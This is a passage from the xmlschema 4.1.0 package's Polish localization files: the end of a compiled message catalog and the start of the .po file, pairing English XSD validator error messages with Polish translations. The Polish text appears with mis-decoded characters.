mieć wartość (sequence | choice | all)�atrybut 'name' w lokalnej definicji typu simpleType�atrybuty 'namespace' i 'notNamespace' wzajemnie siÄ™ wykluczajÄ…�wymagany atrybut 'xpath'�(attribute | attributeGroup) oczekiwany, znaleziony {!r}.�(restriction | list | union) oczekiwany�Typ atrybutu nie jest ograniczeniem podstawowego typu atrybutu�Symbol wieloznaczny atrybutu nie jest ograniczeniem podstawowego symbolu wieloznacznego�Atrybut {!r}: zmiana wÅ‚aÅ›ciwoÅ›ci 'dziedziczony' w ograniczeniu�Atrybut {!r}: atrybut pochodny ma innÄ… stałą wartość�Atrybut {!r}: redefinicja usuwa staÅ‚e ograniczenie�Atrybut {!r}: użycie niedopasowanego atrybutu w redefinicji�Atrybut {!r}: niezrĂ³wnane użycie atrybutu w ograniczeniu�Cykliczne grupy atrybutĂ³w niedozwolone w XSD 1.0�Wykryto definicjÄ™ cyklicznÄ… dla grupy %r�Odniesienie cykliczne miÄ™dzy grupami atrybutĂ³w {0!r} i {1!r}�Deklaracje elementĂ³w spĂ³jne naruszenie miÄ™dzy {0!r} i {1!r}: pasujÄ… do tej samej nazwy, ale z rĂ³Å¼nymi typami�IDREF %r nie zostaÅ‚ znaleziony w dokumencie XML�Być może tabela typĂ³w nie jest rĂ³wnoważna miÄ™dzy elementami {0!r} i {1!r}�Może nie być rĂ³wnoważnej tabeli typĂ³w miÄ™dzy elementami {0!r} i {1!r}.�BrakujÄ…cy źrĂ³dÅ‚owy adres URL metaschematu�BrakujÄ…cy wymagany atrybut {!r} w ograniczeniu redefinicji�Nadpisanie schematu nie powiodÅ‚o siÄ™: %s�Ponowne zdefiniowanie schematu nie powiodÅ‚o siÄ™: %s�Przedefiniowane odniesienie do grupy nie może mieć minOccurs/maxOccurs innego niż 1�Ograniczenie przedefiniowania zawiera dodatkowy atrybut {!r}�Argument 'base_schemas' musi być sÅ‚ownikiem lub sekwencjÄ… par�Zawartość elementu %r nie jest kompletna.�Nieoczekiwany atrybut {!r} w ograniczeniu�Nieoczekiwany element potomny ze znacznikiem %r na pozycji %d.�Unikalne naruszenie atrybucji czÄ…stek miÄ™dzy {0!r} i {1!r}�NieprawidÅ‚owa kolejność atrybutĂ³w w ograniczeniu redefinicji�przekroczona głębokość danych XML (MAX_XML_DEPTH=%r)�XSD 1.0 nie pozwala na rozszerzenie niepustej grupy modeli 'all'�typ atrybutu XSD musi być simpleType�XSD_VERSION musi być '1.0' lub '1.1'�wymagany przodek complexType: {!r}�deklaracja zawarta w globalnym complexType musi mieć takÄ… samÄ… przestrzeÅ„ nazw jak jej schemat nadrzÄ™dny�deklaracja defaultOpenContent nie może być pusta�globalny %s musi mieć tÄ™ samÄ… przestrzeÅ„ nazw co jego schemat nadrzÄ™dny�niepusty simpleContent nie może ograniczać pustego typu zawartoÅ›ci�deklaracja notacji musi być globalna�notacja musi mieć atrybut 'name'�notacja musi mieć atrybut 'public' lub 'system'�komponent referencyjny nie może mieć podrzÄ™dnych definicji/deklaracji�prosty element treÅ›ci nie może mieć elementĂ³w podrzÄ™dnych�wymagany obiekt {0!r} lub {1!r}�wymagane {0!r}, a nie {1!r}�niejednoznaczna deklaracja typu listy�niejednoznaczna definicja typu dla atrybutu XSD�wymagana jest deklaracja podrzÄ™dna <xs:any>�nazwa atrybutu musi być rĂ³Å¼na od 'xmlns'�pusta grupa 'choice' z minOccurs > 0 nie może zweryfikować żadnej zawartoÅ›ci�pochodna typu bazowego z pustÄ… zawartoÅ›ciÄ…, ktĂ³ra nie ma pustej zawartoÅ›ci�openContent z mode='none' nie może mieć deklaracji podrzÄ™dnej <xs:any>�oczekiwana definicja xs:simpleType�grupa xs:{0} nie może zawierać odniesienia do grupy xs:{1}�another declaration after anyAttribute�atrybut %r musi być dziedziczny�atrybut %r niedozwolony�nie znaleziono atrybutu %r�atrybut 'fixed' z use=prohibited nie jest dozwolony w XSD 1.1.�atrybut 'form' musi być nieobecny, gdy podany jest atrybut 'targetNamespace'�atrybut 'maxOccurs' niedozwolony w grupie globalnej�atrybut 'minOccurs' niedozwolony w grupie globalnej�atrybut 'name' musi być obecny, gdy podany jest atrybut 'targetNamespace'�atrybut 'name' niedozwolony dla lokalnego typu simpleType�atrybut 'name' niedozwolony w lokalnym complexType�atrybut 'name' niedozwolony w grupie lokalnej�atrybut 'ref' niedozwolony w globalnym %r�atrybut 'ref' wskazuje na ograniczenie innego rodzaju�atrybut {!r} nie jest dozwolony w globalnej deklaracji elementu�atrybut {!r} nie jest dozwolony, gdy używane jest odwoÅ‚anie do atrybutu�atrybut {!r} nie jest dozwolony, gdy używane jest odwoÅ‚anie do elementu�atrybut {!r} niedozwolony w deklaracji elementu lokalnego�atrybut {0!r} ma stałą wartość {1!r}�atrybut {0}={1!r}: {2}�attributeGroup ref={!r} nie znajduje siÄ™ w przedefiniowanej grupie�atrybuty 'name' i 'ref' wzajemnie siÄ™ wykluczajÄ…�baza %r jest prosta lub ma prostÄ… zawartość�aspekt podstawowy ma innÄ… dÅ‚ugość ({})�podstawowy aspekt ma wiÄ™kszÄ… minimalnÄ… dÅ‚ugość ({})�podstawa ma inny typ zawartoÅ›ci (mixed=%r), a grupa rozszerzeÅ„ nie jest pusta�podstawa ma inny typ zawartoÅ›ci (mixed=%r), a grupa rozszerzeÅ„ nie jest pusta.�typ podstawowy %r nie ma prostej zawartoÅ›ci�typ podstawowy ma mniejszÄ… maksymalnÄ… dÅ‚ugość ({})�base_type={!r} nie jest definicjÄ… complexType�wartość logiczna {0!r} wymaga dekodera {1!r}�nie może zweryfikować modelu zawartoÅ›ci {!r} z powodu przekroczenia maksymalnej głębokoÅ›ci rekurencji�nie można dodać atrybutĂ³w w %r przestrzeni nazw�nie może zmienić instancji map globalnych metaschematu�nie można zdekodować danych %(obj)r za pomocÄ… %(decoder)r�nie można rozszerzyć zÅ‚ożonej zawartoÅ›ci za pomocÄ… xs:all�nie można rozszerzyć niepustej grupy modeli 'all' o inny model�nie można rozszerzyć pustej zawartoÅ›ci mieszanej za pomocÄ… xs:all�nie można rozszerzyć grupy xs:all z mieszanÄ… pustÄ… zawartoÅ›ciÄ…�nie można zaimportować schematu kameleona: %s�nie można zaimportować przestrzeni nazw {0!r}: {1}�nie może zawierać schematu {0!r}: {1}�nie można przedefiniować schematu {0!r}: {1}�nie można okreÅ›lić zarĂ³wno 'length', jak i 'maxLength'�nie można okreÅ›lić zarĂ³wno 'length', jak i 'minLength'�nie można okreÅ›lić zarĂ³wno 'maxInclusive', jak i 'maxExclusive'�nie można okreÅ›lić zarĂ³wno 'minInclusive', jak i 'minExclusive'�nie może używać elementu abstrakcyjnego do walidacji�nie może używać xs:anyAtomicType jako typu bazowego zdefiniowanego przez użytkownika�nie może bezpoÅ›rednio walidować xs:NOTATION, a jedynie podtyp z aspektem wyliczeniowym�niedozwolone dane znakowe miÄ™dzy elementami podrzÄ™dnymi�dane znakowe nie sÄ… dozwolone, ponieważ zawartość jest pusta�znaleziona definicja cykliczna miÄ™dzy {0!r} a {1!r}�znaleziono definicjÄ™ cyklicznÄ… dla typu {!r}�cykliczna definicja typu xs:union {!r}�redefinicja koÅ‚owa dla {0} {1!r}�koÅ‚owość znaleziona dla grupy podstawieniowej z elementem gÅ‚Ă³wnym {}�okrÄ…gÅ‚ość znaleziona dla substitutionGroup %r�typ zawartoÅ›ci nie jest ograniczeniem zawartoÅ›ci podstawowej�zadeklarowany typ nie pochodzi od {!r}�atrybut domyÅ›lny {!r} jest już zadeklarowany w typie zÅ‚ożonym�wartość domyÅ›lna {!r} nie jest zgodna z typem atrybutu�defaultAttributes={0!r} nie pasuje do żadnej grupy atrybutĂ³w {1!r}�defaultOpenContent musi być elementem podrzÄ™dnym schematu�pochodna przez %r zablokowana przez atrybut 'final' w typie podstawowym�wyprowadzenie zawartoÅ›ci mieszanej z typu bazowego, ktĂ³ry zawiera tylko elementy�zduplikowany attributeGroup {!r}�zduplikowane ograniczenie tożsamoÅ›ci %r:�zduplikowana deklaracja simpleType�zduplikowana wartość {0!r} dla {1!r}�zduplikowana wartość xs:ID {!r}�dynamicznie zaÅ‚adowany schemat zmienia ocenÄ™�element nie jest wymazywalny�element {!r} jest tutaj niedozwolony�kodowanie wymaga co najmniej jednej deklaracji elementu XSD�rozszerzony typ ma zawartość mieszanÄ…, ale podstawa jest tylko elementem�grupa aspektĂ³w musi mieć ten sam typ podstawowy: %r�wartość aspektu może być tylko 'collapse'�wartość aspektu może być tylko 'replace' lub 'collapse'�aspekty niedozwolone dla bezpoÅ›redniej pochodnej treÅ›ci xs:anySimpleType�aspekty niedozwolone dla bezpoÅ›redniej pochodnej xs:anySimpleType�niezgodność kardynalnoÅ›ci pĂ³l {0!r} i {1!r}�staÅ‚a wartość {!r} nie jest zgodna z typem atrybutu�aspekt fractionDigits można zastosować tylko do typĂ³w pochodnych od xs:decimal�wartość aspektu fractionDigits nie może być mniejsza niż wartość aspektu totalDigits�wartość aspektu fractionDigits musi wynosić 0 dla typĂ³w pochodnych od xs:integer�element globalny nie zostaÅ‚ utworzony!�grupa globalna nie zostaÅ‚a utworzona!�mapa globalna ma niezbudowane komponenty: %r�typ globalny {!r} nie jest zbudowany�globalny {0} z name={1!r} jest już zdefiniowany�element gÅ‚Ă³wny %r nie może być zastÄ…piony przez element, ktĂ³ry ma pochodnÄ… swojego typu�element gÅ‚Ă³wny %r nie może zostać zastÄ…piony przez element, ktĂ³ry ma ograniczenie typu�element gÅ‚Ă³wny %r nie może być zastÄ…piony przez element, ktĂ³ry ma rozszerzenie jego typu�jeÅ›li atrybut 'namespace' nie jest obecny w instrukcji importu, wĂ³wczas importowany schemat musi mieć atrybut 'targetNamespace'�zaimportowany schemat {0!r} ma niedopasowanÄ… przestrzeÅ„ nazw {1!r}�w XSD 1.0 grupa modeli 'all' nie może być zagnieżdżona�w redefinicji odwoÅ‚anie do siebie musi być pierwsze�nieprawidÅ‚owe wyrażenie XPath dla {}�nieprawidÅ‚owa wartość atrybutu vc:maxVersion�nieprawidÅ‚owa wartość atrybutu vc:minVersion�nieprawidÅ‚owe ograniczenie z {!r}�nieprawidÅ‚owe ograniczenie: wartość podstawowa jest niższa ({})�nieprawidÅ‚owe ograniczenie: {}�nieprawidÅ‚owe ograniczenie: {} to także maksimum�nieprawidÅ‚owe ograniczenie: {} to także maksimum�podano nieprawidÅ‚owy typ {!r}�nieprawidÅ‚owa wartość {!r}�brakuje ograniczenia klucza/unikalnej tożsamoÅ›ci %r�dÅ‚ugość musi wynosić {!r}�elementy zasiÄ™gu lokalnego nie mogÄ… mieć atrybutu 'abstract'�maxOccurs musi być 'unbounded' lub wiÄ™ksze niż minOccurs�maxOccurs musi wynosić (0 | 1) dla grup modeli 'all'�maxOccurs musi wynosić 1 dla grup modeli 'all'�wartość maxOccurs musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ… lub 'unbounded'�metaschemat niedostÄ™pny dla %r�minOccurs musi wynosić (0 | 1) dla grup modeli 'all'�minOccurs musi być mniejsze lub rĂ³wne maxOccurs�wartość minOccurs nie jest liczbÄ… caÅ‚kowitÄ…�wartość minOccurs musi być nieujemnÄ… liczbÄ… caÅ‚kowitÄ…�brakujÄ…ca deklaracja 'selector'�brakujÄ…cy atrybut 'type'�brakujÄ…ca przestrzeÅ„ nazw XSD w metaschemacie�brakujÄ…ca przestrzeÅ„ nazw XSD w instancji metaschematu {!r}�brakujÄ…cy atrybut 'name' w globalnym %r�brakujÄ…cy atrybut 'name' w globalnym complexType�brakujÄ…cy atrybut 'name' w globalnym typie simpleType�brakujÄ…cy atrybut 'ref' w grupie lokalnej�brakujÄ…cy atrybut 'test'�brak typu podstawowego %r�brakujÄ…cy typ bazowy w ograniczeniu�brak obu atrybutĂ³w 'name' i 'ref' w lokalnym %r�brakujÄ…ca domyÅ›lna instancja metaschematu {!r}�brak dynamicznie zaÅ‚adowanego schematu z %s�brak aspektu wyliczenia w podtypie xs:NOTATION�brakujÄ…ca grupa %r�brakujÄ…ce pole klucza {0!r} dla {1!r}�brakujÄ…ca deklaracja typu listy�brak wymaganego atrybutu 'name'�brak wymaganego atrybutu 'refer'�brak wymaganego atrybutu {!r}�brak deklaracji typu xs:unia�wiÄ™cej deklaracji anyAttribute w tej samej grupie atrybutĂ³w�wielokrotny aspekt ograniczenia %r�wiele atrybutĂ³w ID niedozwolonych dla XSD 1.0�wielokrotna deklaracja atrybutu {!r}�wielokrotna deklaracja atrybutu {!r}�wielokrotna redefinicja dla {0} {1!r}�musi mieć stałą wartość %r�nazwy w notQName muszÄ… należeć do przestrzeni nazw, ktĂ³re sÄ… dozwolone�nie podano źrĂ³dÅ‚a XSD!�w elemencie nie powinien znajdować siÄ™ wiÄ™cej niż jeden atrybut typu ID�brak typu odpowiedniego do dekodowania wartoÅ›ci %r�brak typu odpowiedniego do zakodowania obiektu�żadna wartość nie jest dozwolona dla typu xs:error�nie jest kodowaniem base64�nie jest redefinicjÄ…!�nie jest liczbÄ… szesnastkowÄ…�niewyrażalna unia przestrzeni nazw z symbolami wieloznacznymi: {0!r} V {1!r}:�jeden lub wiÄ™cej aspektĂ³w nie ma zastosowania, dopuszczony zestaw to {!r}�niezgodność openContent miÄ™dzy typem a grupÄ… modeli�cykliczność macierzysta od {}�przedrostek {!r} nie zostaÅ‚ znaleziony w mapie przestrzeni nazw�zredefiniowany schemat {!r} ma inny targetNamespace�odniesienie do niekluczowego/unikalnego ograniczenia tożsamoÅ›ci %r�przywoÅ‚ywany atrybut ma innÄ… stałą wartość {!r}�ograniczenie ma otwartÄ… zawartość, ale typ bazowy nie ma�ograniczenie xs:{0} z wiÄ™cej niż jednÄ… czÄ…stkÄ… z xs:{1} jest zabronione�oczekiwany znacznik ograniczenia lub rozszerzenia�ograniczenie z atrybutem 'base' i deklaracjÄ… simpleType�schemat %r nie zostaÅ‚ utworzony�deklaracja schemaLocation po uruchomieniu przestrzeni nazw�wyrażenie xpath selektora może wybierać tylko elementy�ograniczenie simpleType %r jest niedozwolone�podstawienie %r jest zablokowane�katalog docelowy {} nie jest pusty�docelowy katalog nadrzÄ™dny {} nie istnieje�docelowy rodzic {} nie jest katalogiem�target {} nie jest katalogiem�brak atrybutu testowego w nieostatecznej alternatywie�nazwa QName {!r} nie jest mapowana do żadnej przestrzeni nazw, ale wymaga to instrukcji xs:import w schemacie bez atrybutu 'namespace'.�nazwa QName {0!r} jest mapowana do przestrzeni nazw {1!r}, ale ta przestrzeÅ„ nazw nie ma instrukcji xs:import w schemacie.�atrybut 'mode' atrybutu defaultOpenContent nie może być 'none'�atrybut 'namespace' musi być inny niż 'targetNamespace' schematu�atrybut 'ref' jest wymagany w lokalnej atrybutGroup�atrybut 'targetNamespace' nie może być pustym ciÄ…giem znakĂ³w�atrybut 'type' i deklaracja lokalna xs:{} wzajemnie siÄ™ wykluczajÄ…�atrybut 'type' i deklaracja lokalna xs:%s wzajemnie siÄ™ wykluczajÄ…�atrybut 'use' musi być 'optional', jeÅ›li atrybut 'default' jest obecny�typ podstawowy nie jest wyprowadzany przez rozszerzenie�typ podstawowy nie jest wyprowadzany przez ograniczenie�grupa pochodna jest nielegalnym ograniczeniem�wartość aspektu explicitTimezone nie może zostać zmieniona, jeÅ›li typ bazowy ma ten sam aspekt z wartoÅ›ciÄ… %r�przestrzeÅ„ nazw każdej QName w notQName jest dozwolona przez notNamespace�przestrzeÅ„ nazw {!r} nie zostaÅ‚a zaÅ‚adowana�liczba cyfr musi być mniejsza lub rĂ³wna {!r}�liczba cyfr uÅ‚amkowych musi być mniejsza lub rĂ³wna {!r}�Å›cieżka %r nie pasuje do żadnego elementu schematu!�przedefiniowana grupa jest nielegalnym ograniczeniem�prosta zawartość {!r} nie jest poprawnym typem prostym w XSD 1.1�strefa czasowa zabroniona dla wartoÅ›ci {!r}�strefa czasowa wymagana dla wartoÅ›ci {!r}�zbyt wiele komponentĂ³w XSD, nieoczekiwane {0!r} znalezione na pozycji {1}�wartość aspektu totalDigits nie może być wiÄ™ksza niż wartość tego samego aspektu w typie bazowym�typ {0!r} nie jest pochodnÄ… {1!r}�nie można wybrać elementu do dekodowania danych, należy podać prawidÅ‚owy argument 'path'.�niedostÄ™pna przestrzeÅ„ nazw {!r}�nieoczekiwana instancja {!r} w mapie globalnej�nieoczekiwany znacznik %r�nieoczekiwany znacznik %r po deklaracji complexContent�nieoczekiwany znacznik %r po deklaracji simpleContent:�nieoczekiwany znacznik %r dla zawartoÅ›ci complexType�nieoczekiwany znacznik %r w ograniczeniu�nieoczekiwany znacznik po deklaracji atrybutu�nieznana grupa atrybutĂ³w {!r}�nieznany atrybut {!r}�nieznany element %r�nieznane ograniczenie tożsamoÅ›ci {!r}�nieznana substitutionGroup %r�nieznany typ {!r}�niezamapowana nazwa QName w atrybucie 'notQName': %s�niezamapowany prefiks %r w nazwie QName�użycie %r jest zablokowane�użycie {0!r} z typem {1} jest blokowane przez element gÅ‚Ă³wny�użycie atrybutu %r jest zabronione�tryb walidacji może być 'strict', 'lax' lub 'skip': %r�wartość zawiera niezawiniÄ™te biaÅ‚e spacje�wartość zawiera tabulatory lub znaki nowej linii�wartość nie pasuje do żadnego wzorca {!r}�wartość musi być wiÄ™ksza lub rĂ³wna {!r}�wartość musi być wiÄ™ksza niż {!r}�wartość musi być mniejsza lub rĂ³wna {!r}�wartość musi być mniejsza niż {!r}�wartość nie jest prawidÅ‚owa xs:decimal�wartość nie jest instancjÄ… {!r}�wartość nie jest xs:QName�wartość nie jest prawdziwa dla Å›cieżki testowej {!r}�dÅ‚ugość wartoÅ›ci nie może być wiÄ™ksza niż {!r}�dÅ‚ugość wartoÅ›ci nie może być mniejsza niż {!r}�wartość musi być ujemna�wartość nie może być ujemna�wartość nie może być dodatnia�wartość musi być jednÄ… z {!r}�wartość musi być dodatnia�wartość musi być {:s}�wartość atrybutu 'mixed' w complexType i complexContent musi być taka sama�wartość {!r} musi być zgodna z deklaracjÄ… notacji�kiedy complexType z simpleContent ogranicza complexType z mieszanÄ… i oprĂ³Å¼nialnÄ… zawartoÅ›ciÄ…, wymagana jest deklaracja potomna simpleType�podczas rozszerzania xs:all grupa minOccurs musi być taka sama�simpleContent nie może ograniczyć typu zawartoÅ›ci tylko do elementu�nieprawidÅ‚owy format QName w atrybucie 'notQName': %s�nieprawidÅ‚owy typ bazowy %r, wymagany typ atomowy�nieprawidÅ‚owy typ bazowy %r: wymagany simpleType lub complexType z prostÄ… lub mieszanÄ… zawartoÅ›ciÄ…�nieprawidÅ‚owy typ zawartoÅ›ci {!r}�błędna definicja z samoodniesieniem�błędny element {0!r} dla mapy {1!r}�nieprawidÅ‚owa przestrzeÅ„ nazw ({0!r} zamiast {1!r}) dla zasobu XSD {2}�błędna redefinicja bez samoodniesienia�nieprawidÅ‚owy znacznik {!r} dla globalnej definicji/deklaracji XSD�nieprawidÅ‚owa wartość %r dla atrybutu 'mode'�nieprawidÅ‚owa wartość %r dla atrybutu 'processContents'�nieprawidÅ‚owa wartość %r dla atrybutu %r�nieprawidÅ‚owa wartość %r dla atrybutu 'white_space'�nieprawidÅ‚owa wartość %r w atrybucie 'namespace'�nieprawidÅ‚owa wartość %r w atrybucie 'notNamespace'�nieprawidÅ‚owa wartość dla atrybutu 'notQName'�błędna wartość {0!r} dla atrybutu 'xpathDefaultNamespace', może być (anyURI | {1}).�atrybuty klucza xs:ID nie mogÄ… mieć wartoÅ›ci domyÅ›lnej�atrybuty klucza xs:ID nie mogÄ… mieć staÅ‚ej wartoÅ›ci�xs:ID lub typ wywodzÄ…cy siÄ™ z xs:ID nie może mieć wartoÅ›ci domyÅ›lnej�xs:ID lub typ wywodzÄ…cy siÄ™ z xs:ID nie może mieć staÅ‚ej wartoÅ›ci�xs:all nie może rozszerzyć niepustego xs:%s�xs:sequence nie może rozszerzać xs:all�atrybut xsi:nil musi mieć wartość logicznÄ…�xsi:nil='true', ale element ma stałą wartość�xsi:nil='true', ale element nie jest pusty�{!r} nie pasuje do żadnego zadeklarowanego elementu grupy modeli�{!r} ma mieć przedefiniowany/nadpisany komponent�{!r} nie jest wartoÅ›ciÄ… logicznÄ…�{!r} nie jest czÄ…stkÄ… grupy modelowej�{!r} nie jest prawidÅ‚owym poziomem logowania�{!r} nie jest prawidÅ‚owÄ… wartoÅ›ciÄ… dla xs:QName�{!r} nie jest elementem schematu�{0!r} i {1!r} pokrywajÄ… siÄ™ i sÄ… w tej samej grupie {2!r}�{0!r} nie może zastÄ…pić {1!r}�{0!r} pochodna niedozwolona dla {1!r}�wartość aspektu {0!r} zostaÅ‚a ustalona na {1!r}�{0!r} nie jest ograniczeniem typu bazowego {1!r}�{0!r} nie jest rozszerzeniem typu bazowego {1!r}�{0!r} nie jest instancjÄ… {1!r}�{0!r}, ktĂ³ra pasuje do {1!r} nie jest spĂ³jna z lokalnÄ… deklaracjÄ… {2!r}�typ {0!r} nie jest tym samym lub pochodnym typem elementu gÅ‚Ă³wnego {1!r}�{0} ma nieznany prefiks {1!r}������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/locale/pl/LC_MESSAGES/xmlschema.po����������������������������������������0000664�0000000�0000000�00000201352�15020401055�0023431�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Copyright (C) 2016, SISSA (International School for Advanced Studies). # This file is distributed under the same license as the xmlschema package. # If you change something in this file, you need to generate a file with the .mo extension, # for example, using the command `msgfmt xmlschema.po -o xmlschema.mo` msgid "" msgstr "" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #: xmlschema/validators/complex_types.py:134 msgid "missing attribute 'name' in a global complexType" msgstr "brakujÄ…cy atrybut 'name' w globalnym complexType" #: xmlschema/validators/complex_types.py:139 msgid "attribute 'name' not allowed in a local complexType" msgstr "atrybut 'name' niedozwolony w lokalnym complexType" #: xmlschema/validators/complex_types.py:162 msgid "'mixed' attribute not allowed with simpleContent" msgstr "atrybut 'mixed' niedozwolony w przypadku simpleContent" #: xmlschema/validators/complex_types.py:177 #, python-format msgid "unexpected tag %r after simpleContent declaration:" msgstr "nieoczekiwany znacznik %r po deklaracji simpleContent:" #: xmlschema/validators/complex_types.py:188 msgid "value of 'mixed' attribute in complexType and complexContent must be the same" msgstr "wartość atrybutu 'mixed' w complexType i complexContent musi być taka sama" #: xmlschema/validators/complex_types.py:208 #, python-format msgid "unexpected tag %r after complexContent declaration" msgstr "nieoczekiwany znacznik %r po deklaracji complexContent" #: xmlschema/validators/complex_types.py:232 #, python-format msgid "unexpected tag %r for complexType content" msgstr "nieoczekiwany znacznik %r dla zawartoÅ›ci complexType" #: xmlschema/validators/complex_types.py:240 #: xmlschema/validators/simple_types.py:1227 msgid "wrong definition with self-reference" msgstr "błędna definicja z samoodniesieniem" #: xmlschema/validators/complex_types.py:243 #: xmlschema/validators/simple_types.py:1234 msgid "wrong redefinition without self-reference" msgstr "błędna redefinicja bez samoodniesienia" #: xmlschema/validators/complex_types.py:254 msgid "restriction or extension tag expected" msgstr "oczekiwany znacznik ograniczenia lub rozszerzenia" #: xmlschema/validators/complex_types.py:261 msgid "{!r} is expected to have a redefined/overridden component" msgstr "{!r} ma mieć przedefiniowany/nadpisany komponent" #: xmlschema/validators/complex_types.py:266 msgid "{0!r} derivation not allowed for {1!r}" msgstr "{0!r} pochodna niedozwolona dla {1!r}" #: xmlschema/validators/complex_types.py:276 msgid "'base' attribute required" msgstr "wymagany atrybut 'base'" #: xmlschema/validators/complex_types.py:285 #, python-format msgid "missing base type %r" msgstr "brak typu podstawowego %r" #: xmlschema/validators/complex_types.py:293 #: xmlschema/validators/simple_types.py:1247 msgid "circular definition found between {0!r} and {1!r}" msgstr "znaleziona definicja cykliczna miÄ™dzy {0!r} a {1!r}" #: xmlschema/validators/complex_types.py:297 #: xmlschema/validators/complex_types.py:311 msgid "a complexType ancestor required: {!r}" msgstr "wymagany przodek complexType: {!r}" #: xmlschema/validators/complex_types.py:302 #, python-format msgid "derivation by %r blocked by attribute 'final' in base type" msgstr "pochodna przez %r zablokowana przez atrybut 'final' w typie podstawowym" #: xmlschema/validators/complex_types.py:319 msgid "a not empty simpleContent cannot restrict an empty content type" msgstr "niepusty simpleContent nie może ograniczać pustego typu zawartoÅ›ci" #: xmlschema/validators/complex_types.py:326 msgid "content type is not a restriction of base content" msgstr "typ zawartoÅ›ci nie jest ograniczeniem zawartoÅ›ci podstawowej" #: xmlschema/validators/complex_types.py:332 msgid "with simpleContent cannot restrict an element-only content type" msgstr "simpleContent nie może ograniczyć typu zawartoÅ›ci tylko do elementu" #: xmlschema/validators/complex_types.py:344 xmlschema/validators/groups.py:478 #, python-format msgid "unexpected tag %r" msgstr "nieoczekiwany znacznik %r" #: xmlschema/validators/complex_types.py:354 #, python-format msgid "base type %r has no simple content" msgstr "typ podstawowy %r nie ma prostej zawartoÅ›ci" #: xmlschema/validators/complex_types.py:362 msgid "the base type is not derivable by restriction" msgstr "typ podstawowy nie jest wyprowadzany przez ograniczenie" #: xmlschema/validators/complex_types.py:365 #: xmlschema/validators/complex_types.py:458 #: xmlschema/validators/complex_types.py:896 #, python-format msgid "base %r is simple or has a simple content" msgstr "baza %r jest prosta lub ma prostÄ… zawartość" #: xmlschema/validators/complex_types.py:377 #, python-brace-format msgid "restriction of an xs:{0} with more than one particle with xs:{1} is forbidden" msgstr "ograniczenie xs:{0} z wiÄ™cej niż jednÄ… czÄ…stkÄ… z xs:{1} jest zabronione" #: xmlschema/validators/complex_types.py:389 msgid "derived a mixed content from a base type that has element-only content" msgstr "wyprowadzenie zawartoÅ›ci mieszanej z typu bazowego, ktĂ³ry zawiera tylko elementy" #: xmlschema/validators/complex_types.py:392 msgid "an empty content derivation from base type that has not empty content" msgstr "pochodna typu bazowego z pustÄ… zawartoÅ›ciÄ…, ktĂ³ra nie ma pustej zawartoÅ›ci" #: xmlschema/validators/complex_types.py:403 msgid "{0!r} is not a restriction of the base type {1!r}" msgstr "{0!r} nie jest ograniczeniem typu bazowego {1!r}" #: xmlschema/validators/complex_types.py:412 #: xmlschema/validators/complex_types.py:901 msgid "the base type is not derivable by extension" msgstr "typ podstawowy nie jest wyprowadzany przez rozszerzenie" #: xmlschema/validators/complex_types.py:445 #: xmlschema/validators/complex_types.py:952 #: xmlschema/validators/complex_types.py:1002 #, python-format msgid "base has a different content type (mixed=%r) and the extension group is not empty." msgstr "podstawa ma inny typ zawartoÅ›ci (mixed=%r), a grupa rozszerzeÅ„ nie jest pusta." #: xmlschema/validators/complex_types.py:465 msgid "cannot extend a complex content with xs:all" msgstr "nie można rozszerzyć zÅ‚ożonej zawartoÅ›ci za pomocÄ… xs:all" #: xmlschema/validators/complex_types.py:468 msgid "xs:sequence cannot extend xs:all" msgstr "xs:sequence nie może rozszerzać xs:all" #: xmlschema/validators/complex_types.py:478 msgid "XSD 1.0 does not allow extension of a not empty 'all' model group" msgstr "XSD 1.0 nie pozwala na rozszerzenie niepustej grupy modeli 'all'" #: xmlschema/validators/complex_types.py:481 #, python-format msgid "base has a different content type (mixed=%r) and the extension group is not empty" msgstr "podstawa ma inny typ zawartoÅ›ci (mixed=%r), a grupa rozszerzeÅ„ nie jest pusta" #: xmlschema/validators/complex_types.py:495 #: xmlschema/validators/complex_types.py:1017 msgid "extended type has a mixed content but the base is element-only" msgstr "rozszerzony typ ma zawartość mieszanÄ…, ale podstawa jest tylko elementem" #: xmlschema/validators/complex_types.py:655 msgid "global type {!r} is not built" msgstr "typ globalny {!r} nie jest zbudowany" #: xmlschema/validators/complex_types.py:721 #: xmlschema/validators/complex_types.py:746 #, python-format msgid "cannot decode %(obj)r data with %(decoder)r" msgstr "nie można zdekodować danych %(obj)r za pomocÄ… %(decoder)r" #: xmlschema/validators/complex_types.py:847 msgid "the simple content of {!r} is not a valid simple type in XSD 1.1" msgstr "prosta zawartość {!r} nie jest poprawnym typem prostym w XSD 1.1" #: xmlschema/validators/complex_types.py:854 msgid "openContent mismatch between type and model group" msgstr "niezgodność openContent miÄ™dzy typem a grupÄ… modeli" #: xmlschema/validators/complex_types.py:869 #, python-format msgid "attribute %r must be inheritable" msgstr "atrybut %r musi być dziedziczny" #: xmlschema/validators/complex_types.py:885 msgid "default attribute {!r} is already declared in the complex type" msgstr "atrybut domyÅ›lny {!r} jest już zadeklarowany w typie zÅ‚ożonym" #: xmlschema/validators/complex_types.py:956 msgid "cannot extend an empty mixed content with an xs:all" msgstr "nie można rozszerzyć pustej zawartoÅ›ci mieszanej za pomocÄ… xs:all" #: xmlschema/validators/complex_types.py:974 #, python-format msgid "xs:all cannot extend a not empty xs:%s" msgstr "xs:all nie może rozszerzyć niepustego xs:%s" #: xmlschema/validators/complex_types.py:989 msgid "cannot extend a not empty 'all' model group with a different model" msgstr "nie można rozszerzyć niepustej grupy modeli 'all' o inny model" #: xmlschema/validators/complex_types.py:992 msgid "when extend an xs:all group minOccurs must be the same" msgstr "podczas rozszerzania xs:all grupa minOccurs musi być taka sama" #: xmlschema/validators/complex_types.py:995 msgid "cannot extend an xs:all group with mixed empty content" msgstr "nie można rozszerzyć grupy xs:all z mieszanÄ… pustÄ… zawartoÅ›ciÄ…" #: xmlschema/validators/complex_types.py:1035 msgid "{0!r} is not an extension of the base type {1!r}" msgstr "{0!r} nie jest rozszerzeniem typu bazowego {1!r}" #: xmlschema/validators/notations.py:39 msgid "a notation declaration must be global" msgstr "deklaracja notacji musi być globalna" #: xmlschema/validators/notations.py:43 msgid "a notation must have a 'name' attribute" msgstr "notacja musi mieć atrybut 'name'" #: xmlschema/validators/notations.py:46 msgid "a notation must have a 'public' or a 'system' attribute" msgstr "notacja musi 